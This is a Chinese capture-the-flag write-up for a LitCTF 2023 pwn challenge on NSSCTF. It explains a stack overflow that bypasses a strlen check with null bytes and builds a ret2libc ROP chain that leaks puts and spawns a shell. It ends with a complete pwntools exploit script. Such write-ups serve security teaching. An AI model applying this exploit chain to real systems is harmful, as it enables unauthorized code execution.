Nssctf Pwn LitCTF_2023_狠狠的溢出涅 Wp

字数: 536

题面

提供了: pwn4, libc-2.31.so 两个文件。 libc 版本也给了,好评!

分析

只有 main 函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[91]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int8 v5; // [rsp+6Bh] [rbp-5h]
  int v6; // [rsp+6Ch] [rbp-4h]

  v6 = 0;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Leave your message:");
  read(0, buf, 0x200u);
  v5 = strlen(buf);
  if ( v5 > 0x50u )
  {
    puts("hacker");
    exit(0);
  }
  puts("Ok,Message Received");
  return 0;
}

可以大量读写,但是后面有 strlen 防止写入过多数据:

1
2
3
4
5
if ( v5 > 0x50u )
{
  puts("hacker");
  exit(0);
}

不过可以用 \x00 截断 strlen。
因为该程序没有其他可以利用的,所以选择 ret2libc ,首先用 puts 泄漏 libc 地址,回调 main 函数,构成第一次 ROP 链。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pop_rdi_addr = 0x4007D3
ret_addr = 0x400556
main_addr = 0x4006B0
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]

io.recvuntil(b"message:")
payload = (
    b"\x00" * (0x60 + 0x8)
    + p64(pop_rdi_addr)
    + p64(puts_got)
    + p64(puts_plt)
    + p64(main_addr)
)
io.sendline(payload)
io.recvuntil(b"Received\n")

puts_addr = u64(io.recv(6).ljust(8, b"\x00"))

print(f"puts address: {hex(puts_addr)}")
libc_base = puts_addr - libc.sym["puts"]
print(f"libc base address = {hex(libc_base)}")
system_addr = libc_base + libc.sym["system"]
print(f"system address = {hex(system_addr)}")
binsh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
print(f"/bin/sh address = {hex(binsh_addr)}")

获得 puts 地址之后减去 libc 偏移量得到 libc 基址。
之后就可以轻松构建 system("/bin/sh"):

1
2
3
4
5
6
7
8
9
payload = (
    b"\x00" * (0x60 + 0x8)
    + p64(ret_addr)
    + p64(pop_rdi_addr)
    + p64(binsh_addr)
    + p64(system_addr)
)
io.recvuntil(b"message:")
io.sendline(payload)

即可拿到 shell。

完整 exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

context.gdb_binary = "/bin/pwndbg"
context.log_level = "info"

io = process("./pwn4")
#io = remote("node4.anna.nssctf.cn", 29526)
elf = ELF("./pwn4")
libc = ELF("./libc-2.31.so")

pop_rdi_addr = 0x4007D3
ret_addr = 0x400556
main_addr = 0x4006B0
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]

io.recvuntil(b"message:")
payload = (
    b"\x00" * (0x60 + 0x8)
    + p64(pop_rdi_addr)
    + p64(puts_got)
    + p64(puts_plt)
    + p64(main_addr)
)
io.sendline(payload)
io.recvuntil(b"Received\n")

puts_addr = u64(io.recv(6).ljust(8, b"\x00"))

print(f"puts address: {hex(puts_addr)}")
libc_base = puts_addr - libc.sym["puts"]
print(f"libc base address = {hex(libc_base)}")
system_addr = libc_base + libc.sym["system"]
print(f"system address = {hex(system_addr)}")
binsh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
print(f"/bin/sh address = {hex(binsh_addr)}")

payload = (
    b"\x00" * (0x60 + 0x8)
    + p64(ret_addr)
    + p64(pop_rdi_addr)
    + p64(binsh_addr)
    + p64(system_addr)
)
io.recvuntil(b"message:")
io.sendline(payload)
io.interactive()